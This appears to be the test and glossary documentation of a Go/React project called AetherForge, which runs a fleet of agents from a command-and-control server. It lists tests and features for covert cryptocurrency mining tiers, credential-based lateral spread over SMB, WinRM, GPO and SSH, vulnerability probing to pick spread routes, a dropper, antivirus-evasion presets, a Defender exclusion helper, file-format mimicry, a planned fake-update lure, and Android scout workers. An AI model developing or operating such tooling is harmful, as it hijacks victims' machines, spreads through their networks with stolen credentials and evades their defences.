BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | POST /api/v1/pathtrace/spread-route {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}; deploy plans include spread_route_hint when a better egress exists than patient zero. |
Fleet recon
| Term | Definition | Example |
|---|---|---|
vuln_findings |
Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS stats_batch field vuln_findings; drives Crucible RiskBadge. |
cred_edges |
SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | spread_cred success inserts into cred_edges; Emberwake credential graph reads aggregated rows. |
credential graph |
UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (CredentialGraphTable). |
service_graph |
Merged service discovery per host IP — running services, ports, join_lane_candidate. |
Crucible → Service Graph panel; API GET /api/v1/pathtrace/service-graph. |
network_hints |
Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | network_recon command output merged into network_hints on Path Tracer egress hop. |
triple onion |
Orchestrated recon → deploy → mining chain with shared lotl_attempts telemetry and policy gates. |
Server Calibrate triple_onion_policy; agent TripleOnionOrchestrator in agent/miner/triple_onion.go. |
patch_first |
Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate patch_first: true (default); gate reason patch_first: critical CVE exposed. |
join_lane |
Last successful discover_and_join supply-chain lane id on an agent. |
WS stats_batch join_lane; Emberwake funnel JoinLaneBadge. |
| Probe & Join | Crucible operator action that runs discover_and_join on selected online nodes. |
Crucible toolbar → Probe & Join button (CrucibleExpandedOps). |
deployment_credentials vault |
Named cred profiles in config.json + password files under data/deployment-creds/ for SMB/WinRM spread. |
See Operator quick start JSON block; never commit .vault files. |
C2 / telemetry
| Term | Definition | Example |
|---|---|---|
lotl_tier |
Active mining or spread tier id currently hashing or last successful lane. | Crucible LotlTierBadge shows cpu_inprocess, container, etc. from WS stats. |
lotl_attempts |
Ordered list of tier tries with ok, error, duration_ms, wallet — diagnostic audit trail. |
mining_diagnostics JSON and LotlAttemptsList in Crucible expanded ops. |
mining_hashrate |
Live CPU RandomX hashrate (H/s) relayed in stats_batch alongside legacy CPU fields. |
Dashboard fleet row + TestMiningStatusRelayCoalescedToStatsBatch. |
stratum_egress |
How shares leave the agent: c2_ws (via server proxy), direct (pool Stratum), or none. |
Agent stats stratum_egress; visible in mining diagnostics terminal block. |
power_management bulk pause |
Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar Pause → POST /api/v1/agents/bulk-command {"action":"pause"}; category power_management. |
Planned / stub (not fully automated E2E)
| Term | Status | Notes |
|---|---|---|
| Full Playwright discover→spread E2E | Partial | discover-spread.spec.ts covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see Gaps). |
| SocGholish fake-update lander | Stub | Dropper works; branded HTML lander not shipped (SPREAD_TECHNIQUES.html third-party table). |
| OAuth redirect / TDS gate | Needs | Documented in spread playbook as research-only paths. |
Run individual suites
cd server && go test ./...
cd agent && go test ./...
cd server\web && npm test
cd server\web && npm run test:e2e
Fleet recon quick-run (P0 subset)
Matches scripts/test-suite.ps1 -ReconOnly:
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan|SpreadRoute" -count=1
cd server && go test ./internal/spreadrouter/... -count=1
cd server && go test ./internal/db/... -run CredEdge -count=1
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx
E2E only (server already running)
E2E credentials match server/internal/api/integration_test.go (testuser / testpass). Seed
users.json in the server data directory before first start, or the server generates a random
admin password instead.
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npm run test:e2e
test.bat phase 8 seeds users.json automatically in a temp data dir. Override creds with
AETHERFORGE_E2E_USER / AETHERFORGE_E2E_PASS (used by Playwright, test-suite.ps1, and
scripts/smoke-test.ps1).
Adding tests
- Go:
*_test.gonext to the code under test - Frontend:
src/**/*.test.ts(Vitest) - E2E:
server/web/e2e/*.spec.ts(Playwright)
All Go packages under server/ and agent/ are picked up automatically by go test ./... in
scripts/test-suite.ps1. Vitest discovers any *.test.ts(x) under server/web/src/.
Priority tests (P0 / P1)
P0 — security and command validation
| Test | What it validates | File | Phase |
|---|---|---|---|
TestIntegrationRouterCommandFullRoundTrip |
API POST /command → agent WS → command_result → dashboard WS |
server/internal/api/integration_test.go |
1 |
TestAllowAgentWSUpgradeRateLimit |
31st /ws/agent upgrade from same IP within 1 min rejected; empty IP allowed |
server/internal/api/agent_ws_limiter_test.go |
1 |
| Crucible exec E2E | Online stub agent; whoami and terminal echo on /crucible |
server/web/e2e/crucible-command.spec.ts |
8 |
| Crucible LOTL E2E | Stub LOTL tier badge on Crucible + Onion timeline tier chain | server/web/e2e/crucible-lotl.spec.ts |
8 |
| LOTL Timeline E2E | /lotl-timeline 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) |
server/web/e2e/lotl-timeline.spec.ts |
8 |
| Discover→spread E2E | Crucible Probe & Join → discover_and_join POST + stub join_lane ack in Access Depth |
server/web/e2e/discover-spread.spec.ts |
8 |
TestPathForgeRootPathOutsideAllowedRoots |
PathForge root_path outside allowlist → HTTP 400, Placed=0 |
server/internal/builder/pathforge_test.go |
1 |
TestUploadCommandRejectsPathTraversal |
Agent upload blocks ../../ via ResolveRemotePath |
agent/client/client_upload_test.go |
2 |
P1 — additional hardening
| Test | What it validates | File | Phase |
|---|---|---|---|
TestDownloadCommandRejectsPathTraversal |
Agent download (read) blocks traversal paths like upload |
agent/client/client_upload_test.go |
2 |
P1 — file handling + bot/AI commands (2026-06-07)
| Test | What it validates | File | Phase |
|---|---|---|---|
TestUploadCommandRejectsPathTraversal / TestDownloadCommandRejectsPathTraversal |
10 traversal variants (.., ~/.., @desktop/.., desktop:.., mixed separators) on upload + download |
agent/client/client_upload_test.go |
2 |
TestResolveRemotePathRejectsTraversalVariants |
Same traversal matrix at deploy.ResolveRemotePath layer |
agent/deploy/desktop_path_test.go |
2 |
TestReadFileCommandRejectsOversize / TestReadFileCommandAcceptsWithinCap |
read_file 512 KiB cap (maxReadFileBytes) |
agent/client/file_ops_common_test.go |
2 |
TestAgentConfigFileUploadReadRoundTrip |
Config JSON upload → read_file round-trip on agent |
agent/client/file_ops_common_test.go |
2 |
TestHandleAISpreadNowWhenEnabled / TestHandleAIRestartMining / TestHandleAIFullSysCheck |
Fleet AI ai_commands handlers (spread, mining restart, syscheck JSON) |
agent/client/ai_commands_test.go |
2 |
TestValidateAICommandPathRejectsTraversal / TestHandleAIExecShellRejectsTraversalPath |
exec_shell working-directory path guard |
agent/client/ai_commands_test.go |
2 |
TestServeAgentBinaryDownload* / TestFindAgentBinary* |
/api/download/agent-{windows,mac,linux} binary lookup + HTTP stream |
server/internal/api/download_handler_test.go |
1 |
TestDownloadBuildArtifact* / TestDownloadBuildArtifactAPK |
Build /download, /artifact/{name} for fusion zip + APK |
server/internal/builder/handler_serve_test.go |
1 |
TestDropperServeGetPrefersBundleArtifact / TestResolveDropperArtifact |
Dropper /get prefers fusion bundle over launcher |
server/internal/api/dropper_handler_test.go |
1 |
TestApkAssetPathsMatchBinaryExtractor |
Go builder writes assets/agent + config.json matching BinaryExtractor.kt / AgentConfig.kt |
server/internal/builder/build_apk_test.go |
1 |
TestWriteApkConfigJSONFilePermissions |
APK config.json 0644 + assets dir 0755 (POSIX; skipped on Windows umask) |
server/internal/builder/handler_serve_test.go |
1 |
Quick run (file-handling sweep):
cd agent && go test ./client/... -run "Upload|AI|Command|File" -count=1
cd server && go test ./internal/builder/... ./internal/api/... -run "Download|Upload|Dropper|Artifact" -count=1
Note: The broad agent filter also matches unrelated integration tests (TestWSBeaconIntegration*, TestHandleAggressiveCommand*). Tight subset:
cd agent && go test ./client/ -run "TestUpload|TestDownloadCommand|TestHandleAI|TestValidateAI|TestReadFile|TestAgentConfig|TestContainsPath|TestResolveList" -count=1
cd agent && go test ./deploy/ -run "ResolveRemotePath|RemotePath" -count=1
Run PathForge + Path Tracer tests quickly:
cd server && go test ./internal/builder/... -run PathForge -count=1
cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteActionPathTracer|HandleAggressiveCommandWg|HandleAggressiveCommandService" -count=1
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
Note: PathForge skipped counter is returned by the API (PathForgeResult.skipped) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only.
Run P0 Go tests quickly:
cd server && go test ./internal/api/... -run "TestIntegrationRouterCommandFullRoundTrip|TestAllowAgentWSUpgradeRateLimit" -count=1
cd server && go test ./internal/builder/... -run TestPathForgeRootPathOutsideAllowedRoots -count=1
cd agent && go test ./client/... -run "Upload|Download" -count=1
Run Crucible P0 E2E only (needs a live server on AETHERFORGE_URL, default :8989; test-suite.ps1 phase 8 uses :18989):
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
Run P2 LOTL timeline + discover→spread E2E (live server required — test.bat phase 8 seeds :18989):
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:18989
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
lotl-timeline.spec.ts — navigates /lotl-timeline, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked GET /ai/clearance-events + court decision), and AI decision panel when ai_control_enabled is mocked. Uses ensureLiveStubAgent + loginToDashboard.
discover-spread.spec.ts — Crucible Probe & Join on the spread tab; asserts POST /api/v1/agents/{id}/command with discover_and_join. Multi-hop case uses discover-spread-stub.ts (separate WS agent) to acknowledge the command and push join_lane: dns_txt stats — validates UI wiring, not real SMB spread.
e2e/fixtures.ts exports waitForServerHealth() — polls /api/v1/health for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets AETHERFORGE_FLEET_SECRET from data/config.json (regex parse — avoids PowerShell duplicate-key JSON issues) and AETHERFORGE_E2E=1 on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
e2e/remote-actions.spec.ts mocks the dashboard WebSocket init payload (Crucible prefers live WS fleet data over REST). Playwright HTTP page.route alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in .cop-mining and bulk Pause in .fleet-bulk-bar when only an offline agent is selected.
Run remote-actions only (no stub agent; mocks offline fleet via WS):
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/remote-actions.spec.ts
Coverage map (recent features)
| Feature | Test file(s) | Suite phase |
|---|---|---|
| P0 command round-trip (integration) | server/internal/api/integration_test.go |
1 |
| P0 agent WS rate limit | server/internal/api/agent_ws_limiter_test.go |
1 |
| P0 PathForge root rejection | server/internal/builder/pathforge_test.go |
1 |
| PathForge cancel / concurrent / skipped counter | server/internal/builder/pathforge_test.go |
1 |
| Path Tracer wg_setup + discover routing | agent/client/aggressive_commands_test.go, pathtracer_stub_test.go |
2 |
| Path Tracer Windows helpers + WG idle paths | agent/client/pathtracer_windows_test.go (windows tag) |
2 |
| Path Forge + cancel UI | server/web/src/pages/BuilderPage.test.tsx (Kill Build, path-forge submit/busy) |
4 |
| P0 Crucible exec E2E | server/web/e2e/crucible-command.spec.ts |
8 |
| P0 Crucible LOTL badge + Onion timeline E2E | server/web/e2e/crucible-lotl.spec.ts |
8 |
| P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) | server/web/e2e/lotl-timeline.spec.ts |
8 |
| P2 discover→spread E2E (Probe & Join + join_lane stub) | server/web/e2e/discover-spread.spec.ts, discover-spread-stub.ts |
8 |
| Calibrate AI Control toggle E2E | server/web/e2e/pages.spec.ts (Logic gates / AI Control smoke) |
8 |
| P0 upload path traversal (P1 download) | agent/client/client_upload_test.go |
2 |
| Cascading fallback chain | agent/miner/fallback_chain_test.go |
2 |
| Container mining / execution mode | agent/miner/execution_test.go |
2 |
| Mining diagnostics JSON + blockers | agent/client/mining_diagnostics_test.go |
2 |
| Mining chain order hooks | agent/client/mining_chain_test.go |
2 |
| MiningChainRunner lifecycle (construction, start/stop/cooldown, triple-onion ordering, tier hooks, onion/tier payloads, disabled/apk skip, failure advance, exhausted) | agent/client/mining_chain_lifecycle_test.go |
2 |
| Chain cooldown / inprocess skips container | agent/miner/fallback_chain_test.go |
2 |
| Stats batch WS coalescing | server/internal/api/websocket_test.go, ws_beacon_integration_test.go |
1 |
| Agents API pagination + subnet | server/internal/db/agents_list_test.go, server/internal/api/handlers_test.go |
1 |
Mining status relay (mining_status / mining_fallback) |
server/internal/api/websocket_test.go |
1 |
| Agent name preserved on reconnect | server/internal/api/websocket_test.go, ws_beacon_integration_test.go |
1 |
applyStatsUpdate / stats_batch mining fields |
server/web/src/help/applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts |
4 |
| Fleet → Crucible redirect | server/web/src/pages/AgentsPage.test.tsx, e2e/pages.spec.ts |
4 / 8 |
Crucible terminal _seq cursor |
server/web/src/pages/CruciblePage.test.tsx |
4 |
| CrucibleAgentMeta / bulk toolbar | CrucibleAgentMeta.test.tsx, CruciblePage.test.tsx |
4 |
| Defender exclusion helper | server/web/src/help/defenderExclusion.test.ts |
4 |
| AV-Safe forge preset | forgeOperationModes.test.ts, forgeMissionWizard.test.ts |
4 |
| Forge progress polling | server/web/src/pages/BuilderPage.test.tsx |
4 |
| Emberwake pinA/pinB ref fix | server/web/src/pages/EmberwakePage.test.tsx |
4 |
| Mining status in AgentRemoteActions | server/web/src/components/components.test.tsx |
4 |
| PathTracerPage (12 tests) | server/web/src/pages/PathTracerPage.test.tsx |
4 |
| SystemStatusBar WS fleet count | server/web/src/components/components.test.tsx |
4 |
WebSocket stats_batch handler |
server/web/src/context/WebSocketProvider.test.tsx |
4 |
Remote action wiring (mining_diagnostics) |
server/web/src/help/remoteActions.test.ts |
4 |
Fleet recon (2026-06-06 parallel agents)
| Feature | Test file(s) | Suite phase |
|---|---|---|
vuln_findings + CVE correlate |
agent/vulnprobe/scan_test.go, agent/client/vuln_scan_test.go, agent/client/cve_scan_test.go |
2 |
cred_edges + affinity spread |
server/internal/db/cred_edges_test.go, server/deployment_creds_test.go, server/internal/api/spread_cred_test.go, agent/client/spread_cred_test.go |
1 / 2 |
service_graph + join_lane mapping |
agent/deploy/service_discovery_test.go, server/internal/api/pathtracer_discover_test.go |
1 / 2 |
discover_and_join deploy plan |
server/internal/api/pathtracer_discover_test.go, agent/deploy/discover_join_test.go, service_deploy_test.go |
1 / 2 |
Triple onion gates (patch_first, skip_mining_on_high_risk) |
agent/miner/triple_onion_test.go (TestEvaluateTripleOnionGates*, TestTripleOnionOrchestrator*), server/internal/api/server_policy_test.go |
1 / 2 |
| Deployment cred vault + affinity | server/deployment_creds_test.go (TestOrderDeploymentCredProfiles_Affinity, TestLoadDeploymentCredPasswordFromVault) |
1 |
| CVE / KEV client correlate | agent/client/cve_scan_test.go, agent/client/vuln_scan_test.go |
2 |
| Vuln catalog API | server/internal/api/vuln_handler_test.go, server/internal/vuln/correlator_test.go |
1 |
network_hints (ARP, DNS SRV, cert) |
agent/deploy/network_hints_test.go |
2 |
| Path Tracer API extensions (discover, spread, service merge) | server/internal/api/pathtracer_handler_test.go, pathtracer_discover_test.go |
1 |
| Spread router (BGP-style min-clearance routes) | server/internal/spreadrouter/router_test.go, pathtracer_handler_test.go (SpreadRoute), deploy_plan_test.go, discover_join_test.go (SpreadRouteHint) |
1 / 2 |
Risk badge + reconRisk helpers |
server/web/src/help/reconRisk.test.ts, ReconBadges.test.tsx |
4 |
| Credential graph table (Spread tab) | ReconBadges.test.tsx (CredentialGraphTable) |
4 |
Probe & Join (discover_and_join) |
CrucibleExpandedOps.test.tsx (Probe & Join button → discover_and_join) |
4 |
| Crucible bulk pause/resume E2E | server/web/e2e/crucible-bulk.spec.ts |
8 |
| Fleet bulk actions hook | server/web/src/hooks/useFleetBulkActions.test.ts |
4 |
| War Room LOTL/join-lane telemetry | server/web/src/help/warRoomTelemetry.test.ts |
4 |
| Spread template export panel | server/web/src/help/spreadTemplateExport.test.ts, SpreadTemplateExportPanel.tsx |
4 |
Fleet intelligence (2026-06-07 parallel agents)
| Feature | Test file(s) | Suite phase |
|---|---|---|
| Phenotype publish + sibling inherit | server/internal/api/phenotype_test.go, server/internal/db/phenotype_test.go, agent/client/phenotype_policy_test.go |
1 / 2 |
| Failure atlas subtree skip | server/internal/atlas/failure_atlas_test.go, server/internal/api/fleet_intelligence_test.go |
1 |
| Singular Machine Court | server/internal/ai/court_prompt_test.go, server/internal/api/fleet_intelligence_test.go |
1 |
| Clearance L0–L4 enforcement | server/internal/clearance/clearance_test.go, server/internal/api/fleet_intelligence_test.go |
1 |
| Access Depth phenotype + clearance badge | AccessDepthPanel.test.tsx, clearance.test.ts |
4 |
| LOTL Timeline atlas skip + cloned-from | lotlTimeline.test.ts, LotlTierTimeline.test.tsx |
4 |
| Court decision UI | LotlTimelinePage.test.tsx |
4 |
| AI snapshot phenotype/atlas/clearance | agent/client/ai_snapshot_test.go |
2 |
| Service graph summary UI | CrucibleExpandedOps.test.tsx (mocked ServiceGraphSummary) |
4 |
vuln_findings / join_lane WS stats merge |
applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts |
4 |
Emberwake join_lane funnel tag |
ReconBadges.test.tsx (JoinLaneBadge), WarRoomFunnelBoard.tsx |
4 |
vuln_probe recon tier in mining chain |
agent/miner/tier_vuln_probe_test.go, mining_chain_test.go |
2 |
P1 — LOTL tiered mining (onion feature set)
| Test | What it validates | File | Phase |
|---|---|---|---|
TestSelectMiningTierChain* |
Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers | agent/miner/lotl_tier_test.go |
2 |
TestTierOrchestrator* |
Sequential tier attempts, wallet parity, GPU addon gating, tier_report events | agent/miner/lotl_orchestrator_test.go, lotl_tier_test.go |
2 |
TestTryChainRunTierHooksPopulatesLOTLFields |
Fallback chain ↔ tier orchestrator integration | agent/miner/fallback_chain_test.go |
2 |
TestDefaultFallbackChain* / launcher tests |
powershell, dotnet, wsl, docker_load, container execution tiers | agent/miner/*_launcher_test.go, fallback_chain_test.go |
2 |
TestRunWMITier* / TestRunScheduledTaskTier* / TestRunGPUComputeTier* / TestRunWebView2Probe* |
Windows/Linux execution tiers with mocked binaries | agent/miner/tier_*_test.go |
2 |
TestAppendLinuxPyOpenCL* |
linux_pyopencl tier insertion | agent/miner/pyopencl_test.go |
2 |
TestApplyAuthLotlPolicy* / TestMiningTierPolicy* |
Server-pulled mining tier policy from auth | agent/client/mining_policy_test.go |
2 |
TestMiningDiagnostics* / TestInferMiningBlockers* |
Diagnostics JSON + tier chain fields + blockers | agent/client/mining_diagnostics_test.go |
2 |
TestChainOrderForConfig* |
Client mining chain order hooks | agent/client/mining_chain_test.go |
2 |
TestMiningChainRunner* / TestMiningChainSkips* |
Full MiningChainRunner lifecycle: newMiningChainRunner, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), onion_report/tier_report payload shape, lotl_attempts merge, mining disabled/apk skip, tier failure advance, exhausted chain |
agent/client/mining_chain_lifecycle_test.go |
2 |
TestNormalizeLotlTiers* / TestTryLotlTier* |
Spread onion tier normalization + unix stub tiers | agent/deploy/lotl_tiers_test.go, lotl_onion_stub_test.go |
2 |
TestStagingRejectsPathTraversal* / TestVerifyFileSHA256* |
BITS/curl/certutil staging path hygiene + hash verify | agent/deploy/staging_test.go |
2 |
TestValidateUNCSpreadPath* / TestSMBUNCSvcName* |
SMB sc.exe spread helpers | agent/deploy/smb_unc_spread_test.go |
2 |
TestDoPeer* / do_peer staging |
DoSvc shadow cache handoff — hash verify + launch | agent/deploy/do_peer_staging_test.go |
2 |
TestDNS* / dns_txt staging |
DNS TXT shard assembly + SHA256 verify | agent/deploy/dns_txt_staging_test.go |
2 |
TestWebRTCMesh* |
WebRTC mesh manifest receive (mock channel) | agent/deploy/webrtc_mesh_test.go |
2 |
TestWSUSCachePeer* / TestWrapSSUHeaderRoundTrip / TestWSUSCachePeerAssembleFormatMimicRoundTrip |
WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip | agent/deploy/wsus_cache_peer_staging_test.go |
2 |
TestWrapWSUSChunkPayloadRoundTrip / TestBuildPlanWSUSCachePeerLaneFormatMimicOff |
Server /get?wsus_wrap=1 envelope + deploy-plan *.cab.partial chunk names |
server/internal/api/wsus_format_mimic_test.go, deploy_plan_test.go |
1 |
| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | server/internal/api/deploy_plan_test.go, agent/deploy/discover_join_test.go, server/internal/api/service_deploy_test.go |
1 / 2 |
| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | server/web/src/help/reconRisk.test.ts, ReconBadges.test.tsx |
4 |
TestMiningStatusRelayCoalescedToStatsBatch |
mining_hashrate, lotl_tier, lotl_attempts in stats_batch |
server/internal/api/websocket_test.go |
1 |
TestStatsBatchCoalescesSameAgent |
Same-agent coalesce preserves LOTL fields | server/internal/api/websocket_test.go |
1 |
TestAgentLotlFieldsJSONRoundTrip |
Agent model JSON exposes tier telemetry | server/internal/models/agent_test.go |
1 |
TestApplyLotlOnionPreset / TestNormalizeLotlOnionTiers |
Fusion/builder LOTL Onion preset | server/internal/builder/lotl_onion_test.go |
1 |
applyStatsUpdate / wsStatsCoalesce LOTL fields |
lotl_tier, lotl_attempts, mining_hashrate merge |
server/web/src/help/applyStatsUpdate.test.ts, wsStatsCoalesce.test.ts |
4 |
LotlTierBadge / LotlAttemptsList |
Crucible tier badge + attempt list UI | server/web/src/components/Fleet/LotlTierBadge.test.tsx |
4 |
WebSocketProvider stats_batch LOTL |
Dashboard WS applies tier fields | server/web/src/context/WebSocketProvider.test.tsx |
4 |
| Forge LOTL Onion preset UI | applyOperationMode('lotl_onion') flags |
server/web/src/help/forgeOperationModes.test.ts |
4 |
| LOTL onion tier docs | 14-tier spread chain constants (sync with DefaultLotlOnionTiers) |
server/web/src/help/lotlOnionTiers.test.ts, agent/deploy/lotl_tiers_test.go, server/internal/builder/lotl_onion_test.go |
2 / 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | server/internal/api/fleet_handler_test.go, components.test.tsx |
1 / 4 |
TestRegistrationPlatformFromEnv / TestAuthPayloadPlatformFromEnv |
APK wrapper AETHERFORGE_PLATFORM=android → auth platform |
agent/config/platform_test.go, agent/client/protocol_test.go |
2 |
TestSelectMiningTierChainAndroid |
Shortened foreground → in-process tier chain | agent/miner/lotl_tier_test.go |
2 |
buildAccessDepthModel android / buildLotlTimelineModel android |
Android probes + 3-step onion timeline | server/web/src/help/accessDepth.test.ts, lotlTimeline.test.ts, platform.test.ts |
4 |
APK fleet node mode
Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:
AETHERFORGE_SERVER_URL— C2 base URLAETHERFORGE_WORKER_NUMBER— fleet worker slot (shown in AI snapshots)AETHERFORGE_PLATFORM=android— registration label (overridesruntime.GOOS=linux)
Optional probe env vars for Access Depth (environment_probes):
AETHERFORGE_WIFI_CONNECTED=1AETHERFORGE_BATTERY_OK=1AETHERFORGE_FOREGROUND_SERVICE=1
Forge may also bake ApkMode and ScoutMode (-ldflags / builder preset) so registration reports platform=android without runtime env. Scout mode (scout_mode: true) keeps mining off, runs discover_and_join + service_graph only, pushes phenotype via scout_report, and never stages spread payloads. Scout constellation mode (zero config): 3+ scout_report hits on the same SSID within 10 minutes form a venue constellation; server infers airport/campus/retail/unknown and pushes venue persona packs via spread_policy + policy_update. APK scouts send ssid from AETHERFORGE_WIFI_SSID; Emberwake/dashboard weather-map merges active scout biomes.
Persona spread temperament (server.ai_persona) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When ai_control_enabled is on, auth and policy_update push spread_temperament (adaptive_strategy shape) and FleetAISnapshot merges it for the scheduler — AI shapes propagation personality, not just restarts.
Quick run:
cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
Run LOTL Go tests quickly:
cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining|PyOpenCL|WMI|WebView|GPUCompute|Scheduled|UNC" -count=1
cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
P2 — spread lanes (mock/inject; no real remote hosts)
| Test | What it validates | File | Phase |
|---|---|---|---|
TestCurlStagingAssemblyWithInject / TestBITSStagingAssemblyWithInject |
stage_fetch / RunStagingChain chunk assembly, SHA256 verify, injectable BITS/curl hooks |
agent/deploy/staging_chain_test.go |
2 |
TestStageFetchEmptyURLRejected / TestStageFetchSHA256MismatchRejected / TestStageFetchDownloaderErrorPropagates |
Staging manifest error handling (empty URL, hash mismatch, downloader failure) | agent/deploy/staging_chain_test.go |
2 |
TestRunStagingChainWindowsOnlyStub |
Non-Windows RunStagingChain returns explicit Windows-only error |
agent/deploy/staging_stub_test.go |
2 |
TestWinRMEncodePowerShellRoundTrip / TestWinRMSpreadScriptMarkers |
WinRM encoded bootstrap script shape (--spread-install, --defer-mining) |
agent/deploy/winrm_spread_test.go |
2 |
TestSystemdLinuxLOTLLane* / TestTryLotlTierLinuxLOTLLane |
Linux LOTL sshSpread* commands + systemd/crontab persist stubs |
agent/deploy/linux_lotl_test.go |
2 |
TestDOPeerRejectsPathTraversal / TestWSUSCachePeerRejectsPathTraversal / TestDNSTXTRejectsPathTraversal |
Staging path hygiene for do_peer, wsus_cache_peer, dns_txt lanes |
agent/deploy/do_peer_staging_test.go, wsus_cache_peer_staging_test.go, dns_txt_staging_test.go |
2 |
TestWSUSCachePeerAssembleFormatMimicRoundTrip |
WSUS staging roundtrip: wrapped *.cab.partial chunk → unwrap → SHA256 verify |
agent/deploy/wsus_cache_peer_staging_test.go |
2 |
TestPickDeployLaneGPO / TestPickDeployLaneWinRM / TestPickDeployLaneLinuxLOTL |
Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | server/internal/api/service_deploy_test.go |
1 |
TestDeployPlanWinRMLane / TestDeployPlanGPOLane / TestDeployPlanLinuxLOTLLane |
Signed deploy plan script rendering from spread templates | server/internal/api/spread_lanes_test.go |
1 |
TestExportSpreadTemplateGPO / TestExportSpreadTemplateLinuxLOTL / TestExportSpreadTemplateWinRMMarkers |
Spread handler ZIP export shape + template marker replacement | server/internal/api/spread_handler_test.go |
1 |
TestSpreadTemplateRejectsUnknownLane / TestSpreadTemplateRequiresServerURL |
Spread template export payload validation | server/internal/api/spread_handler_test.go |
1 |
TestStageFetchAllowRemoteAction / TestStageFetchRejectsBadManifestJSON |
Agent stage_fetch clearance gate + bad manifest JSON |
agent/client/stage_fetch_test.go |
2 |
Quick run (matches PROBLEMS.md P2 spread-lane subset):
cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|Stage|spread" -count=1
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
Still P2 (honest gaps): live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.
Gaps (hard to unit-test)
- Real Docker/Podman container start — requires OCI runtime on host; covered by chain logic mocks only.
DetectContainerRuntimeCLI probe — depends onexec.LookPath; execution mode tests useSetRuntimeDetectorinject instead.- Live pool + GPU binary on host —
MiningChainRunnerlifecycle covered inmining_chain_lifecycle_test.gowith mock container exec + injected hooks; no live Docker daemon or T-Rex download required. - Real WinRM/GPO/systemd/crontab spread execution — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
- Real BITS/curl/certutil download — network + OS tooling; injectable staging hooks in
staging_chain_test.gocover assembly without live transfers. - E2E Crucible lotl_tier badge — covered in
crucible-command.spec.ts(stub sendslotl_tier+lotl_attemptsvia WSstats; requires live server — phase 8 orAETHERFORGE_URL). - Playwright fleet recon flow — Probe & Join POST + stub join_lane ack in
discover-spread.spec.ts; real lateral spread execution still not E2E.
Agent logs (not a missing API)
